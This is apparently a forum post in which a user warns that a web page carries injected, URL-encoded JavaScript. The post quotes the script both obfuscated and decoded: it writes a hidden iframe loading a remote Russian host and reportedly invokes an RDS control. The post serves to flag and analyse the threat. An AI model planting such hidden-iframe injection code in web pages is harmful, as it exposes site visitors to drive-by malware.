Guys.
its looks like there is some escaped code at the bottom of the page
is the enescaped script
Quote:
|
window.status='Done';document.write('<iframe name=1ca7efc4a1 src=\'http://traffurl.ru/sliv?'+Math.round(Math.random()*215877)+'71\' width=681 height=317 style=\'display: none\'></iframe>')
|
original code.
Quote:
|
<script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74 %61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6 d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61% 6d%65%20%6e%61%6d%65%3d%31%63%61%37%65%66%63%34%61 %31%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%74%7 2%61%66%66%75%72%6c%2e%72%75%2f%73%6c%69%76%3f%27% 2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e %72%61%6e%64%6f%6d%28%29%2a%32%31%35%38%37%37%29%2 b%27%37%31%5c%27%20%77%69%64%74%68%3d%36%38%31%20% 68%65%69%67%68%74%3d%33%31%37%20%73%74%79%6c%65%3d %5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%2 7%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script>
|
But it also trying to run "Microsoft Data Access - Remote Data services" control
So maybe that site is trying to load some nasties.